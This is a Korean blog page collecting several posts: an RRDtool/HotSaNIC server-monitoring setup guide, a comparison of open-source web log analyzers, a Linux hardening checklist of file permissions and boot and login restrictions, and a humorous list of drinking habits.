달력

22025  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
제 목 : 서버 모니터링 툴의 강자, RRDtool 가이드 (작성중. alpha 버전)
작성자 : 좋은진호(truefeel)
작성일 : 2003.9.22(월)~

그래픽 모니터링 툴인 RRDtool과 그 프론트엔드 툴 HotSaNIC의 설치, 운영가이드이다.

1. RRDtool의 이해
2. RRDtool 설치
3. HotSaNIC 설치
4. RRDtool 직접 다루기
5. 문제 해결
6. 이용 사례



1. RRDtool의 이해

RRDtool에 대해 들어가기 전에 먼저 MRTG 툴을 설명할 필요가 있을 듯 하다.
MRTG(Multi Router Traffic Grapher)는 이름에서도 드러난대로, SNMP 프로토콜을 사용하여
라우터를 거쳐가는 트래픽을 실시간 그래픽을 통해 모니터링하는데 가장 많이 사용한다.
이외에 시스템을 모니터링하는 여러 addon들이 있다.
DISK 사용량, CPU사용량, 메모리 사용량, 데몬, 세션 개수 등..
심지어는 P2P인 당나귀의 트래픽, 프락시 서버인 Squid 트래픽까지 실시간(실시간이라기
보다는 특정 시간간격으로 변화하여 보여준다는게 더 정확하지만)으로 웹에서 볼 수 있다.

RRDtool은 MRTG처럼 실시간 그래픽 모니터링 기능을 가지고 있으면서 보다 더 개선된 형태의
툴이다. 보다 빠르고 시스템 로드를 덜 잡아먹는다. 또한 MRTG의 제약이었던 2개 이상의 데이터를
하나의 그래픽을 통해 표시할 수 있다. 그래픽의 유연성(?)면에서도 단연 RRDtool이 압도한다.

[ MRTG로 트래픽 모니터링하는 화면 ]


[ RRDtool과 HotSaNIC으로 CPU 사용률을 모니터링하는 화면 ]


2. RRDtool 설치

RRDtool :
http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/

RRDtool의 시스템 요구사항은 다음과 같다.

Perl 5.005 (컴파일시에 문제가 발생하면 더 최신 것을 설치해본다.)
GNU make
GNU gcc

위 RRDtool 사이트에서 최신 버전을 받아온다. /usr/local/rrdtool에 하는 것으로 가정한다.


# tar xvfz rrdtool-1.0.45.tar.gz
# cd rrdtool-1.0.45
# ./configure --prefix=/usr/local/rrdtool
# make install
# make site-perl-install
... 중략 ...
Installing /usr/lib/perl5/site_perl/5.8.0/RRDp.pm
Installing /usr/share/man/man3/RRDp.3pm
... 생략 ...


3. HotSaNIC 설치

HotSaNIC :
http://hotsanic.sourceforge.net/archive/

HotSaNIC은 RRDtool을 사용하는 툴로 시스템 통계정보를 그래프로 생성해준다.

* 시스템 요구 사항

- RRDtool
- iptables 또는 ipchains (네트워크 트래픽 통계용으로 쓰기 위함)

위 사이트에서 받은 최신 버전은 컴파일없이 환경설정만으로 바로 사용하므로
/usr/local에서 압축을 푼다.


# cd /usr/local
# tar xvf HotSaNIC-0-5-0-pre3.tgz ( HotSaNIC/ 디렉토리가 생성된다. )
# cd HotSaNIC



1) 제공하는 모듈

HotSaNIC은 어떤 모듈을 통해 시스템 통계를 제공하는지 알아보고,
그 모듈을 사용할 것인지 안할 것인지를 판단해보자.


---------   ----------------------------------------------------------- ---------------
모듈      처리하는 통계 정보                      truefeel의 권장
---------   ----------------------------------------------------------- ---------------
APCUSV    APC UPS의 현황 (apcaccess 툴 사용)             N
         (APC UPS를 사용하지 않고 또한 있더라도 서버와 연결하여

                    모니터링중이 아니라면 N)
APPS     데몬, 응용프로그램별 프로세스 현황                Y
          (프로세스 이름 별도 설정 필요)
DISKIO     각 HDD별(파티션별이 아님) 입출력                   Y
          (별도 설정 필요)
DNET     Distributed.Net관련 RC5, OGR, DES, CSC ???         N
NETWORKS  네트워크 트래픽 (별도 설정 필요)                     Y
PART    파티션별 사용량                                  Y
PING     지정한 서버로 ping time 결과 (ping서버 설정 필요)        ping할 서버가

                                                                                                            있다면
SENSORS CPU, 마더보드 등의 온도, 전압등의 수치              원하는대로
SHOUTCAST 지정한 서버와 포트로의 스트링 현황 (서버, 포트 설정 필요)  N
SYSTEM  시스템의 프로세스 수, CPU 사용률, load, 메모리 사용률, ...      Y
TRAFFIC  네트워크 인터페이스별(eth0, ...) 트래픽                   Y
        (SNMP를 통해 라우터나 다른 서버의 트래픽도 모니터링 가능,
         물론 이 때는 별도 설정 필요)
WORMS  웹로그 파일을 이용한 님다, 코드레드 등의 웜 공격 건수           Y
       (웹로그 경로 설정 필요. 문자열 지정으로 다른 웜 공격도 설정 가능)
--------- ----------------------------------------------------------- ----------------


2) setup.pl로 기본 환경 파일 생성

이제 setup.pl 으로 기본 환경 설정을 해보자.
과정은 길지만 간단하다. 모듈을 보고 Y로 할 것인, N로 할 것인지를 결정한다.
이 설정은 나중에 ./setup.pl으로 변경할 수 있으므로 맘 편하게 진행해라.
(반복되는 내용이라 메시지 중간중간 생략하였다.)


# ./setup.pl
Configuring modules:


Module found: APCUSV
----------------------------------------
Do you want to use this module ? (Y)es / (n)o > n

Module found: APPS
----------------------------------------
Do you want to use this module ? (Y)es / (n)o >
Do you want to show this module's graphs on the webpage ? (Y)es / (n)o >

... 중략 ...

Module found: DISKIO  ... 중략 ...
Module found: DNET   ... 중략 ...
Module found: NETWORKS
----------------------------------------
Do you want to use this module ? (Y)es / (n)o >
Do you want to show this module's graphs on the webpage ? (Y)es / (n)o >

setting up networks ...

Configuring local interfaces.
(i)nternal means an interface pointiong to your local machines (intranet)
(e)xternal means an interface connecten with the internet
(n)one means you don't want to account this interface.

Please answer these:
found: eth0 - (i)nternal, (e)xternal or (n)one ? e

found: lo - (i)nternal, (e)xternal or (n)one ? n

... 중략 ...

Module found: PART   ... 중략 ...
Module found: PING   ... 중략 ...
Module found: SENSORS  ... 중략 ...
Module found: SHOUTCAST ... 중략 ...
Module found: SYSTEM  ... 중략 ...
Module found: TRAFFIC
----------------------------------------
Do you want to use this module ? (Y)es / (n)o >
Do you want to show this module's graphs on the webpage ? (Y)es / (n)o >

setting up traffic ...

Configuring local interfaces. Please answer these:
found: eth0 - (y)es or (n)o ? y

found: lo - (y)es or (n)o ? n


Please check the settings file and adapt it to satisfy your needs.
If you have any interfaces slower than 100 MBit, please change the
corrosponding default values.

... 중략 ...

Module found: WORMS  ... 중략 ...
----------------------------------------
Ok.
Writing main settings ...
 checking for OS-type (current: not configured)
OSTYPE="Linux"
 checking path to "rrdtimer" (current: not configured)
DAEMONDIR="/usr/local/HotSaNIC"
 checking path to "rrdtool" (current: not configured)
the following possibilities have been detected:
0 /usr/bin
1 /usr/local/rrdtool/bin

which one shall i use (0=default ... 1) ? > 1 ( rrdtool이 2군데 설치된 경우이다.)
BINPATH="/usr/local/rrdtool/bin" (RRDtool 실행이 있는 디렉토리)
LOGDIR="$DAEMONDIR/var/log/"   (로그가 저장될 디렉토리)
PIDFILE="$DAEMONDIR/var/rrdtimer.pid"
DIAGRAMLOG="last"
LOGSIZE="200000"
LOGBACKUPS="5"
DEBUGLEVEL="-1"
STIME="120"
SCHEDULE_MIN="100"
SCHEDULE_MAX="200"
RUN="apcusv apps diskio dnet networks part ping sensors shoutcast system traffic worm
s"
WEBDIR="not configured"
WIDTH="600"
HEIGHT="200"
IMAGEFORMAT="gif"
SHOW="apcusv apps diskio dnet networks part ping sensors shoutcast system traffic wor
ms"
ORDER="traffic system part ping dnet sensors"
DTIME="15" (15분 간격으로 이미지를 갱신한다.)
CTIME="24" (24시간 간격으로 통계화면 메인에 표시될 작은 크기의 이미지를 갱신한다.)
 guessing convert method...
 checking for Image::Magick perl module... not found
 checking path to "convert" from ImageMagick (current: not configured)
detected: /usr/bin/convert
is this corrrect? (y)
 checking path to "snmpwalk" (current: not configured)
detected: /usr/bin/snmpwalk
is this corrrect? (y)
SNMPWALK="/usr/bin/snmpwalk"
 checking path to "snmpget" (current: not configured)
detected: /usr/bin/snmpget
is this corrrect? (y)
SNMPGET="/usr/bin/snmpget"
checking path to "snmpbulkwalk" (current: not configured)
detected: /usr/bin/snmpbulkwalk
is this corrrect? (y)
SNMPBULKWALK="/usr/bin/snmpbulkwalk"

--- Main settings generated. ---

Writing start/stop script "rrdgraph" ... Ok.

Now adapt all settings files to satisfy your needs.
They are all linked to the directory /var/settings .


3) 필요한 디렉토리 생성

이제 RRDtool의 웹용 이미지와 html이 저장될 디렉토리와 로그 파일 저장 디렉토리를 생성한다.
디폴트로 로그는 HoSaNIC 홈의 var/log에 생성된다.
(html 홈은 /usr/local/apache/htdocs/ 라고 가정)


# mkdir /usr/local/apache/htdocs/rrdtool
# mkdir var/log


4) 환경 파일의 주요 설정

HoSaNIC 홈/settings가 주 설정 파일이고
HoSaNIC 홈/modules/모듈명/settings는 각 모듈별 설정 파일이다.

주 settings 파일에서 주요 설정을 살펴보자.(반드시 확인할 것에 * 표시해둠)


# BINPATH  = rrdtool 실행 파일이 있는 경로 (*)
BINPATH="/usr/local/rrdtool/bin"

# LOGDIR   = HoSaNIC의 로그 파일 경로
# LOGSIZE  = 로그 파일 크기
# LOGBACKUPS = 지정한 개수만큼 로그는 로데이터션되어 백업된다.
#       로그 파일명은 HotSaNIC.log, HotSaNIC.log.1, ...
LOGDIR="$DAEMONDIR/var/log/"
LOGSIZE="200000"
LOGBACKUPS="5"

# RUN  = 실행할 모듈 목록 (*)
# SHOW = 웹페이지로 표시할 모듈 목록 (*)
# ORDER = 표시할 모듈의 순서를 지정(먼저 쓴 것부터 왼쪽에 표시함)
RUN="apps diskio networks part ping sensors system traffic"
SHOW="apps diskio networks part ping sensors system traffic"
ORDER="traffic system part ping sensors"

# WEBDIR   = 생성된 이미지, html이 저장될 디렉토리 (*)
# IMAGEFORMAT = 이미지 파일 형식 (gif 또는 png)
WEBDIR="/usr/local/apache/htdocs/rrdtool"
IMAGEFORMAT="gif"

# DTIME = 지정한 간격으로 이미지를 생성한다. (단위는 분)
# CTIME = 지정한 간격으로 모니터링 메인화면의 작은 이미지를 생성한다. (단위는 시간)
#     따라서 처음 설치한 후 지정한 시간내에 convert.pl 명령을 하지 않으면 메인화면의
#     이미지는 최소 지정 시간동안 볼 수 없다.
DTIME="15"
CTIME="24"

# CONVERTPATH = ImageMagick 를 사용하여 이미지를 생성한다. convert 경로를 지정한다.
CONVERTPATH="/usr/bin/convert"

# REFRESH = 지정한 초단위로 웹페이지를 리프레쉬해서 보여준다. 기본 300초(5분)
REFRESH="300"



각 모듈별 설정은 해당 디렉토리의 settings을 보면 자세히 설명이 되어 있다.
여기서는 ping, diskio, apps에 대해서만 예를 들어본다.

* ping 모듈 ( HoSaNIC홈/modules/ping/settings )

 192.168.123.15(파일서버)에 대해 ping을 한다면, 다음을 추가하면 된다.


HOST=192.168.123.15,File Server


 설정했는데 ping 이미지가 생성안된다면 '5. 문제해결'에 해결방법을 설명해뒀다.

* diskio 모듈 ( HoSaNIC홈/modules/ping/settings )

/proc/stat 에서 disk_io 라인을 살펴보면 다음과 같이 되어 있다.

disk_io: (2,0):(1,1,2,0,0) (3,0):(306090,39930,942826,266160,5212040)
(3,1):(55015,28746,1435800,26269,909568) (8,0):(50,50,253,0,0)

여기서 (3,0) = hda, (3,1) = hdb, (8,0) = sda를 각각 의미한다.
따라서 hda와 hdb의 disk 입출력을 보려면 다음과 같이 설정한다.


DEV=3_0,hda
DEV=3_1,hdb


* apps 모듈 ( HoSaNIC/modules/apps/settings )


APP=httpd,Apache
APP=sendmail,Sendmail
APP=mysqld,Mysql Server
APP=hanterm,hanterm
APP=xmms,xmms
APP=MozillaFirebird-bin,Mozilla Web Browser


5) 실행

자~ 이제 웹페이지를 생성하고 rrdgraph만 실행하면 모니터링할 수 있다.


# ./makeindex.pl
# ./rrdgraph start



이제 웹브라우저를 띄우고 보면 된다. 아직 이미지도 안나온는데 뭘 보라는 것일까?
최소 15분(settings의 DTIME)이 지내야 모듈내의 큰 이미지들이 생성되고
24시간(CTIME)이 지나면 메인의 작은 이미지가 보일 것이다.
24시간 전이라도 적당한 시기에 ./convert.pl을 실행하면 메인에서도 이미지를 볼 수 있다.

부팅할 때 자동으로 rrdgraph가 실행되록 하려면 어떻게 해야할까?
rrdgraph 스크립트를 /etc/rc.d/init.d 에 복사를 한 후 chkconfig로 서비스를 추가한다.


# cp rrdgraph /etc/rc.d/init.d
# chkconfig -add rrdgraph



4. RRDtool 직접 다루기

HoSaNIC은 이미 정해진 모듈을 통해서 RRDtool을 다루는 것이다.
이제 시스템관리자가 원하는 데이터를 RRDtool로 직접 조작하여 통계용 이미지를 생성하는
방법을 알아본다. 간단히 과정을 정리해보면.

- RRDtool용 자체 DB(일반적으로 .rrd로 지정)를 생성한다.(create) ->
- 데이터를 업데이트하거나 (update) 가져온다.(fetch) ->
- 이미지를 생성한다. (graph)

1) rrdtool 명령 익히기

DB 생성, 이미지 만드는 것은 모두 RRDtool홈/bin/rrdtool 명령을 통해서 한다.


* 형식 : rrdtool [명령] [명령 옵션...]
* 예  : rrdtool create coffeenix_status.rrd DS:....


rrdtool에서 사용 가능한 명령은 무엇이 있을까?


---------- -----------------------------------------------------------------------
명 령   설 명
---------- -----------------------------------------------------------------------
create   새로운 RRD DB를 만든다.
update   DB에 새 데이터를 저장한다.
graph    저장된 DB자료를 이용해서 이미지를 생성한다. (.gif 또는 .png)
dump    RRD DB의 데이터를 XML 포맷으로 뽑아준다.
restore   XML 포맷에서 RRD DB로 저장한다.
fetch    RRD DB에서 데이터를 얻어온다.
tune    RRD DB의 설정을 변경한다.
last    RRD DB의 최종 업데이트 시간을 알려준다.
info    RRD DB의 헤더 정보를 보여준다. (파일명, 최근업데이트일, 설정값...)
rrdresize  RRA 크기를 변경한다. 가능하면 사용하지 말기를
xport    RRD DB의 데이터를 XML 포맷으로 뽑아준다. (출력 포맷 지정)
---------- -----------------------------------------------------------------------


2) 샘플 DB 생성

3) 이미지 만들기

5. 문제 해결

1) HoSaNIC 로그 파일을 보니 Can't locate RRDs.pm in @INC (@INC contains... 오류가 있습니다.

  RRDtool 설치할 때 make site-perl-install 를 하지 않아 RRDs.pm 펄 모듈이
  설치되지 않아서 입니다.
  RRDtool 소스 디렉토리에 가서 make site-perl-install을 하세요.
 
2) makeindex.pl 실행할 때 다음 오류가 발행합니다.
  WEBDIR (path to HotSaNIC's output directory) does not exist.

  시스템 모니터링 결과가 저장될 웹디렉토리를 생성하지 않았다.
  위 글중 '3 - 3) 필요한 디렉토리 생성'을 확인해봐라.

3) 시간이 한참지났는데 ping 이미지가 생성이 안됩니다. 물론 ping설정은 했습니다.
  로그를 보니 Can't locate asm/unistd.ph in @INC (did you run h2ph?).. 가 있습니다.

  펄용 헤더 파일이 없기 때문입니다. 펄 헤더로 변환해주는 h2ph로 해결할 수 있습니다.

  cd /usr/include; h2ph -r -l .

6. 이용 사례

  • http://kornet.hanirc.org/chanstat/
     HanIRC의 채널별 사용자 통계를 보여준다. 5분간격의 데이터를 1시간 단위로 자동 업데이트한다.
     장혜식님의 py-rrdtool을 사용한 페이지
    http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/gallery/

    * 참고 자료
  • RRDtool 매뉴얼
     
    http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/manual/index.html
  • itup님의 RRDtool 튜토리얼, 논문 자료
     
    http://myhome.hanafos.com/~itup/index.html
     
  • 이은태님의 'RRDTool로 서버의 상황을 파악하자.'
     
    http://kltp.kldp.org/stories.php?story=03/02/13/1717339

  •  
    Posted by tornado
    |

     

    웹 로그분석의 절대강자는?

     

    웹 로그분석은 말그대로 아파치나 IIS 웹 서버들이 남겨놓은 웹 서버 접속 정보를 바탕으로 이를 분석하고 통계를 내어 보기좋게 출력하는 것을 말한다. 오픈소스 OS인 리눅스와 역시 오픈소스 웹서버인 아파치를 많이 사용하는 인터넷 환경에서 웹 로그분석의 중요성은 두말할 필요가 없다 하겠다. 1998년까지만 하더라도 제대로 된 리눅스용 웹 로그분석기가 없어서 기업 시장에 제대로 접근하기가 힘들었지만 요즘에는 적지 않은 웹 로그분석기들이 나와있어 오히려 어떤 걸 선택해야할지 고민해야하는 시점에 이르렀으니 참 격세지감이 아닐 수 없다.

    레드햇 리눅스 9에 기본으로 깔려있는 분석기는 웹얼라이저(Webalizer)인데 간단한 기능을 가지고 있어 간편하게 사용할 수 있다. 이보다 훨씬 많은 분석과 통계를 제공하는 소프트웨어로는 AW스테이츠(AWStats)가 있고, 이 중간쯤에서 비주얼한 보고서를 출력하는 것으로는 아날로그(Analog)가 있는데 이 소프트웨어는 비주얼한 보고서를 출력하는 리포트매직(Report Magic)이라는 소프트웨어와 연동해서 움직인다.

    여기서는 대표적인 웹로그 분석 오픈소스 소프트웨어인 웹얼라이저와 AW스테이츠, 아날로그+리포트매직을 살펴보도록 하겠다.

    1.웹얼라이저 (GPL)

    웹얼라이저는 기본으로 설치되어 있거나, 또는 CD만 집어넣어 다시 설치할 수 있는 경우가 많아서 설치한 후에 설정파일만 손보면 비교적 쉽게 사용할 수 있어서 아주 편리하다.

    웹얼라이저가 제공하는 기능에는 어떤 것들이 있는지 살펴보자.




    (홈페이지: http://www.mrunix.net/webalizer/)

    메시지가 한글로 번역된 버전: http://www.oops.org ftp://mirror.oops.org/pub/Linux


    공식 사이트에서 소프트웨어를 내려받아도 되고 김정균님이 메시지를 한글로 번역한 소프트웨어를 내려받아 설치할 수도 있다.



    (웹얼라이저가 분석하고 통계를 낸 웹 화면1)



    (웹얼라이저가 분석하고 통계를 낸 웹 화면2)


    웹얼라이저는 C로 작성되어 있어 실행이 아주 빠른 반면 기능이 비교적 적다. 제공하는 기능은 다음과 같다.

    월별 통계 (총 히트수, 파일수, 페이지수, 방문자수, 데이터 전송량 및 평균/최대값)
    응답코드
    일별 통계(그래프 및 표)
    시간별 통계(그래프 및 표)
    히트 URL 순위
    접속 시작/종료에 사용된 주요 페이지
    페이지 참조 통계
    접속시 사용한 웹브라우저 및 OS (아주 간단히)


    위와 같이 비교적 기본 기능을 제공하는데, 아울러 제공하는 그래프는 그리 세련되지는 않다.


    2.AW스테이츠 (GPL)




    (공식 페이지: http://awstats.sourceforge.net/)


    AW스테이츠는 Perl 스크립트로 만든 로그분석기로 비교적 많은 기능을 제공한다. 언뜻 보기에는 웹 서버가 남겨놓은 로그를 하나도 남김없이 분석하고 통계를 낸다는 느낌마저 들 정도다. 일목요연한 출력에 비교적 깔끔한 그래프와 표를 보여주지만 그래프를 보면 항목과 떨어져있어 한눈에 이해되지 않는다는 단점이 있다.



    (데모 페이지: http://awstats.sourceforge.net/cgi-bin/awstats.pl)


    AW스테이츠는 데모 페이지를 따로 마련해두었는데 위 페이지를 접속하면 소프트웨어를 내려받아 사용하기 전에 마음껏 기능을 음미해볼 수 있어 아주 편리하다.

    제공하는 분석 및 통계 내용을 잠깐 살펴보면 다음과 같다.

    간단한 전체 요약 및 월별 통계 (순 사용자, 방문횟수, 페이지수, 히트수, 전송용량)
    상기 항목에 대한 일별(4 항목)/요일별 통계(3 항목=페이지, 히트, 용량)
    시간별 통계 (3 항목)
    접속 국가 (3 항목)
    접속 호스트 (3 항목 + 최종 접속 일시)
    로봇/스파이더 방문자 (히트수, 데이터용량, 최종 방문 일시)
    접속해서 끊기까지의 시간
    파일 타입(php, html, asp 등에 대한 히트수, 전송용량 등)
    많이 본 페이지 URL, 접속 및 끊기 시 사용된 페이지
    운영체제 (히트수 및 비중)
    브라우저
    경유 사이트(다이렉트/북마크, 뉴스그룹 링크, 인터넷 서치 엔진 경유, 서치 엔진 이외 다른 사이트 경유)
    검색에 사용된 단어 및 구절
    HTTP 응답 코드





    웹얼라이저에 비해 아주 자세한 통계를 보여주고 있음을 알 수 있다. 특히 로봇/스파이더 방문자를 순 방문자와 구별하여 통계를 내어주는 것은 AW스테이츠의 장점이라 할 수 있다. 또한 경유 사이트에 대한 자세한 분석은 실제 기업 마케팅에서 활용할 수 있는 부분이 있다.

    아울러 AW스테이츠는 웹서버 뿐만 아니라 FTP, 메일 서버까지 분석해준다.



    (메일 서버 분석 통계)


    3.아날로그 + 리포트매직

    아날로그는 개인이 소유하고 있는 공개 소프트웨어로 GPL과는 달리 배포 및 수정에 제한을 두고 있다. 또한 아날로그와 연결하여 사용하는 리포트 매직은 개인 소유를 기본으로 'Artistic License'를 가지고 있다. 따라서 이 두 소프트웨어는 GPL과는 거리가 있지만 기업이나 개인이 사용하는 데는 별 문제가 없어 보인다.



    (아날로그 공식 페이지: http://www.analog.cx/)



    (리포트매직 공식 페이지: http://www.reportmagic.org/)


    리포트매직 사이트는 아날로그와 리포트매직을 함께 사용해서 데모를 시연하고 있다.



    (데모 사이트: http://www.reportmagic.org/sample/index.html)



    (운영체제 통계)


    리포트매직이 제공하는 정보의 양은 웹얼라이즈와 AW스테이츠 중간 정도다. 구체적으로는 다음과 같다.

    통계 요약 및 주간/일별/시간별 보고서
    접속 도메인/단체
    실패한 참조 및 경유 사이트
    검색에 사용된 단어
    브라우저/운영체제
    응답코드
    파일크기, 파일 타입, 디렉토리 보고
    실패한 요청
    접속 페이지 및 파일


    전체적으로 깔끔하고 고급스러운 3D 그래프와 파이는 매력적이지만 항목별로 자세하지 않은 정보라든지 언급되지 않은 항목도 있어 아쉬움을 남긴다.


    4.웹로그 분석기의 강자는?


    무릇 소프트웨어는 사용 용도와 사용자의 의도에 맞으면 그것이 최고다. 기능이 많든 적든 그림이 멋지든 안 멋지든에 상관없이 말이다. 그런 점에서 본다면 지금까지 살펴본 웹얼라이저와 AW스테이츠, 아날로그는 나름대로 일장일단을 가지고 있다.



    (주요 웹로그 소프트웨어의 기능을 정밀하게 비교 분석해놓은 AW스테이츠 메인 페이지)


    상기 사이트는 주요 웹로그 소프트웨어들(지금까지 살펴본 세 가지 소프트웨어 + 히트박스)의 기능을 정밀하게 비교 분석하고 있다. 자신에게 알맞는 소프트웨어를 결정하기 전에 필요한 기능을 미리 확인해보면 도움이 될 것이다.

    이중에서 굳이 강자를 뽑아야한다면 AW스테이츠의 손을 들어주고 싶다. 아주 자세하고 꼼꼼한 정보는 웹 사이트 운영자에게 단순한 정보제공뿐만이 아니라 웹 사이트를 활성화할 수 있는 방안을 생각하는 데 기초자료를 제공해준다. 그리고 웹 서버 뿐만 아니라 메일 서버, FTP 서버에 대한 통계는 또 나름대로 쓰일 일이 있을지도 모른다.

    정밀한 접속 분석/통계를 필요로 하는 본격 웹 사이트에는 AW스테이츠를, 간단한 정보를 간편히 보고 싶은 사이트에는 웹얼라이즈를, 멋진 그래프와 고급스러운 디자인이 우선이라면 아날로그를 권하고 싶다.

    지금까지 살펴본 소프트웨어들은 대다수 소스를 함께 제공한다. 따라서 저작권에 따라 다소 다르겠지만 자유 소프트웨어인 경우 소스를 고쳐 자신의 웹 사이트에 적용하거나 아니면 이를 필요로하는 고객들에게 공급해줄 수도 있겠다.

    자유 소프트웨어와 함께 즐거운 삶이 되기를!

     

    OSS로고

     

    Posted by tornado
    |
    흔히들 리눅스를 설치하고 그냥 외부에 공개해버리는 서버들이 간혹있습니다.
    이에 따른 버그조차조 패치를 않하고 기본적으로 사용을 하는 분들이 많이
    있는데 이는 잘못된 생각이며, 버젼별로 버그 패치를 꼭 해주셔야 합니다.
    또한 각종 remote bug가 허용되는것들은 조심을 하셔야 한다고 생각되며
    아래에 보안 리눅스 디폴트 퍼미션을 공개합니다. 마음대로 설정은 하셔도
    되며 저에게는 어떠한 책임이 없음을 여기서 밝혀드립니다.

    ▶ 표준 보안 퍼미션 설정
    /bin/ root.root 711
    /boot/ root.root 700
    /dev/ root.root 711
    /dev/audio* root.audio 600
    /dev/dsp* root.audio 600
    /etc/ root.adm 711
    /etc/conf.modules root.adm 640
    /etc/cron.daily/ root.adm 750
    /etc/cron.hourly/ root.adm 750
    /etc/cron.monthly/ root.adm 750
    /etc/cron.weekly/ root.adm 750
    /etc/crontab root.adm 640
    /etc/dhcpcd/ root.adm 750
    /etc/dhcpcd/* root.adm 640
    /etc/esd.conf root.audio 640
    /etc/ftpaccess root.adm 640
    /etc/ftpconversions root.adm 640
    /etc/ftpgroups root.adm 640
    /etc/ftphosts root.adm 640
    /etc/ftpusers root.adm 640
    /etc/gettydefs root.adm 640
    /etc/hosts.allow root.adm 640
    /etc/hosts.deny root.adm 640
    /etc/hosts.equiv root.adm 640
    /etc/inetd.conf root.adm 640
    /etc/rc.d/init.d/ root.adm 750
    /etc/rc.d/init.d/syslog root.adm 740
    /etc/inittab root.adm 640
    /etc/ld.so.conf root.adm 640
    /etc/lilo.conf root.adm 600
    /etc/modules.conf root.adm 640
    /etc/motd root.adm 644
    /etc/printcap root.lp 640
    /etc/profile root.root 644
    /etc/rc.d/ root.adm 640
    /etc/securetty root.adm 640
    /etc/sendmail.cf root.adm 640
    /etc/shutdown.allow root.root 600
    /etc/ssh_config root.root 644
    /etc/ssh_host_key root.adm 640
    /etc/ssh_host_key.pub root.adm 644
    /etc/sshd_config root.adm 640
    /etc/syslog.conf root.adm 640
    /etc/updatedb.conf root.adm 640
    /home/ root.adm 751
    /home/* current 700
    /lib/ root.adm 751
    /mnt/ root.adm 750
    /root/ root.root 700
    /sbin/ root.adm 751
    /tmp/ root.root 1777
    /usr/ root.adm 751
    /usr/* root.adm 751
    /usr/X11R6/ root.xgrp 751
    /usr/bin/ root.adm 751
    /usr/bin/* root.root 755
    /usr/sbin/ root.adm 751
    /usr/sbin/* root.root 755
    /var/ root.root 755
    /var/log/ root.root 711
    /var/log/* root.root 600
    /var/spool/mail/ root.mail 771

    ▶툴들에 대한 퍼미션 설정

    1. 컴파일 툴들의 퍼미션 설정
    chmod 0700 /usr/bin/gcc
    chmod 0700 /usr/bin/g++
    chmod 0700 /usr/bin/cc
    chmod 0700 /usr/bin/colorgcc

    2. 시스템 툴들의 퍼미션 설정
    chmod 0700 /usr/bin/w
    chmod 0700 /usr/bin/who
    chmod 0700 /usr/bin/finger

    3. 네트워크 툴들의 퍼미션 설정
    chmod 0700 /bin/ping
    chmod 0700 /usr/bin/telnet (이나 아마 /bin/telnet일겁니다.)
    chmod 0700 /usr/bin/ssh (만일 여러분이 ssh를 설치하였다면)
    chmod 0700 /usr/sbin/traceroute

    ▶물리적 보안
    보통 서버가 외부 사람이 많이 오는곳에 설치되어있다면 그 사람들중에
    물리적 크래킹을 하기위하여 다가오는 분들이 많이 있습니다. 이에 방어
    할수 있는것은 바로 lilo와 root로 조인을 못하게 설정하는것입니다.

    1. lilo.conf의 설정
    /etc/lilo.conf 의 맨위에다가 아래와 같이 설정을 합니다.
    #My LILO password
    password=foobar <-- 비번입니다.

    저장을 하고 나서,
    chmod a-r /etc/lilo.conf
    아무도 못보게 설정을 합니다.

    그다음 /sbin/lilo를 구동시켜 새로운 설정을 적용시킵니다.

    2. /etc/inittab 의 설정
    로컬에서는 루트로도 접근이 가능합니다.
    허나 이를 막기 위하여 이 파일을 수정하셔야 합니다.
    ca::ctrlaltdel:/sbin/shutdown -t3 -r now
    이라고 보이실겁니다. 이것을 아래와 같이 변경을 합니다.
    ca::ctrlaltdel:/sbin/shutdown -a -t3 -r now
    저장을 하시고 나서 아래와 같이 명령어를 수행합니다.
    #telinit q
    #
    위와 같이 한후에 보시게 되면 /etc/에 shadow.allow가 만들어질것입니다.
    그것이 있다면 아무나 리부팅을 못하는것이죠.

    3./etc/securetty 의 설정
    /etc/securetty 파일을 열게 되면 아마도 아래와 같이 있을것입니다.

    # /etc/securetty
    tty1
    tty2
    tty3
    tty4
    tty5
    tty6

    이것은 로컬에서 root로 들어올수 있는것이죠.
    그래서 이것을 막게 하는것입니다. 그래야 공개된 석상에서 아무도 root를
    뚫고 들어오지를 못할테니까여... 설령 linux single로도...
    그래서 아래와 같이 설정을 합니다.
    # /etc/securetty
    #tty1
    #tty2
    #tty3
    #tty4
    #tty5
    #tty6

    이후에 telinit q를 실행하여 지금 방금 설정한것에 대한 적용을
    시킵니다.
    그후 로그인을 해봅니다.
    Kernel 2.2.13-pre3 on an i686 / tty3
    H4cker login: root
    Password:
    Login incorrect

    login: root
    Password:
    Login incorrect

    Done, root is not allowed login.

    위와 같이 떨어지겠죠? 그렇다면 아무리 공개된 석상에 서버를 가져다 놓아도
    크래킹 당할 염려가 없답니다. 그사람이 암호를 알지 못하는 이상...
    그럼 즐~~
    Posted by tornado
    |

     *TARA LOPEZ*작

    Another Brick In The Wall

                              ◈ 술주정의 모든것 ◈

     

    1. 심봉사 눈뜨는형⌒¸⌒♥

    이런 유형의 사람들은 주로 술에 취하면......
    숨겨져 있던 끼가 발산되는 형.
    갑자기 탁자위에 오라가서 춤을 춘다든가.....헤드뱅잉~~~...
    또는 상상도 못한 "람바다"같은 노랠 부르면서..
    흐느적 거리기두 한다......
    보조를 맞춰주다가는 혼사길이 막힐 수도 있는 무서운 경우다.
    기성세대들은 넥타이를 이마에 묶거나 넥타이로 노를 젖기도 한다...-_-;


    2. 상가집 아르바이트형⌒¸⌒♥

    이 사람들은 술만 먹으면...운다... --
    우는 이유는 아무도 잘 모른다...^^
    갑자기 옆에 있는 사람이 죽었다고도 하고....
    심지여 자기가 죽기도 한다..
    이유가 있어 운다기 보다 이유를 만들어서 운다...-_-;
     

    3. 숙취성 혼절형⌒¸⌒♥
     
    술만 먹으면 자는 사람들이 있다....
    주로 술자리에서 자는 형과 술집 주변에서
    자는 형으로 나눌 수 있다...
    이 TYPE은 집에 가야 잠에서 깨기 때문에.....
    실수로 뒷 처리를 맡았다가는 땀을 바가지로 흘려야 한다...



     
    4. 방랑시인 김삿갓형⌒¸⌒♥
     
    술자리에선 잘 헤어졌다가도 담날 연락받으면
    밖에서 주로 잤다고 고백하는 형이다.
    택시를 태워 보내도 중간에 내리기 때문에 안심할 수 없다..
